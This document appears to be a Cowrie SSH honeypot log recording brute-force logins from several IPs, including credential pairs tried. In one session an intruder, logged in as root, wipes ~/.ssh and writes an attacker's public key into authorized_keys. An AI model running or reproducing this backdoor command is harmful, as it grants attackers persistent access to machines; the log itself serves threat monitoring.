{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":8644,"dst_ip":"159.203.135.109","dst_port":22,"session":"d04b970bfea5","protocol":"ssh","message":"New connection: 2.57.121.112:8644 (159.203.135.109:22) [session: d04b970bfea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:29:34.796642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:29:34.801266Z","src_ip":"2.57.121.112","session":"d04b970bfea5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:29:34.901036Z","src_ip":"2.57.121.112","session":"d04b970bfea5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"4326","message":"login attempt [admin/4326] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:29:35.375588Z","src_ip":"2.57.121.112","session":"d04b970bfea5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"430799","message":"login attempt [admin/430799] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:29:36.481519Z","src_ip":"2.57.121.112","session":"d04b970bfea5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"4211","message":"login attempt [admin/4211] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:29:37.584553Z","src_ip":"2.57.121.112","session":"d04b970bfea5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3699","message":"login attempt [admin/3699] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:29:38.686803Z","src_ip":"2.57.121.112","session":"d04b970bfea5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3624","message":"login attempt [admin/3624] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:29:39.789511Z","src_ip":"2.57.121.112","session":"d04b970bfea5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:29:40.891809Z","src_ip":"2.57.121.112","session":"d04b970bfea5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"93.71.118.99","src_port":40186,"dst_ip":"159.203.135.109","dst_port":22,"session":"a827ee740211","protocol":"ssh","message":"New connection: 93.71.118.99:40186 (159.203.135.109:22) [session: a827ee740211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:29:51.949554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:29:51.953914Z","src_ip":"93.71.118.99","session":"a827ee740211","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:29:52.269987Z","src_ip":"93.71.118.99","session":"a827ee740211","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"labs","password":"1234","message":"login attempt [labs/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:29:53.869767Z","src_ip":"93.71.118.99","session":"a827ee740211","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:29:55.088764Z","src_ip":"93.71.118.99","session":"a827ee740211","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.57.48","src_port":35722,"dst_ip":"159.203.135.109","dst_port":22,"session":"80c853ed4e0e","protocol":"ssh","message":"New connection: 159.223.57.48:35722 (159.203.135.109:22) [session: 80c853ed4e0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:06.526487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:06.532585Z","src_ip":"159.223.57.48","session":"80c853ed4e0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:06.781352Z","src_ip":"159.223.57.48","session":"80c853ed4e0e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Abc.1234","message":"login attempt [root/Abc.1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:07.814125Z","src_ip":"159.223.57.48","session":"80c853ed4e0e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:08.364387Z","src_ip":"159.223.57.48","session":"80c853ed4e0e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:08.367856Z","src_ip":"159.223.57.48","session":"80c853ed4e0e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:08.372246Z","src_ip":"159.223.57.48","session":"80c853ed4e0e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:08.622549Z","src_ip":"159.223.57.48","session":"80c853ed4e0e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:09.156459Z","src_ip":"159.223.57.48","session":"80c853ed4e0e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:09.160248Z","src_ip":"159.223.57.48","session":"80c853ed4e0e","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:09.410860Z","src_ip":"159.223.57.48","session":"80c853ed4e0e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:09.414969Z","src_ip":"159.223.57.48","session":"80c853ed4e0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.57.48","src_port":35724,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc181d3e09fc","protocol":"ssh","message":"New connection: 159.223.57.48:35724 (159.203.135.109:22) [session: bc181d3e09fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:09.637586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:09.642537Z","src_ip":"159.223.57.48","session":"bc181d3e09fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:09.886039Z","src_ip":"159.223.57.48","session":"bc181d3e09fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":46198,"dst_ip":"10.17.0.5","dst_port":22,"session":"befd3478b6a5","protocol":"ssh","message":"New connection: 163.7.6.74:46198 (10.17.0.5:22) [session: befd3478b6a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:10.021907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:10.029034Z","src_ip":"163.7.6.74","session":"befd3478b6a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:10.277527Z","src_ip":"163.7.6.74","session":"befd3478b6a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:10.877662Z","src_ip":"159.223.57.48","session":"bc181d3e09fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"visitor","password":"visitor123","message":"login attempt [visitor/visitor123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:11.305529Z","src_ip":"163.7.6.74","session":"befd3478b6a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.233.116.124","src_port":23596,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5fb79254c01","protocol":"ssh","message":"New connection: 68.233.116.124:23596 (159.203.135.109:22) [session: c5fb79254c01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:11.413767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:11.418735Z","src_ip":"68.233.116.124","session":"c5fb79254c01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e13ba222a14b8b916c6c32f9fd6aec5d","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: e13ba222a14b8b916c6c32f9fd6aec5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:11.632012Z","src_ip":"68.233.116.124","session":"c5fb79254c01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:12.125035Z","src_ip":"159.223.57.48","session":"bc181d3e09fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.57.48","src_port":49184,"dst_ip":"159.203.135.109","dst_port":22,"session":"318ad02b6e90","protocol":"ssh","message":"New connection: 159.223.57.48:49184 (159.203.135.109:22) [session: 318ad02b6e90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:12.374600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:12.381226Z","src_ip":"159.223.57.48","session":"318ad02b6e90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"itadmin","password":"itadmin","message":"login attempt [itadmin/itadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:12.515514Z","src_ip":"68.233.116.124","session":"c5fb79254c01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:12.556836Z","src_ip":"163.7.6.74","session":"befd3478b6a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:12.626926Z","src_ip":"159.223.57.48","session":"318ad02b6e90","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:13.646629Z","src_ip":"159.223.57.48","session":"318ad02b6e90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:13.732503Z","src_ip":"68.233.116.124","session":"c5fb79254c01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:13.895559Z","src_ip":"159.223.57.48","session":"80c853ed4e0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:13.902153Z","src_ip":"159.223.57.48","session":"318ad02b6e90","protocol":"ssh"}
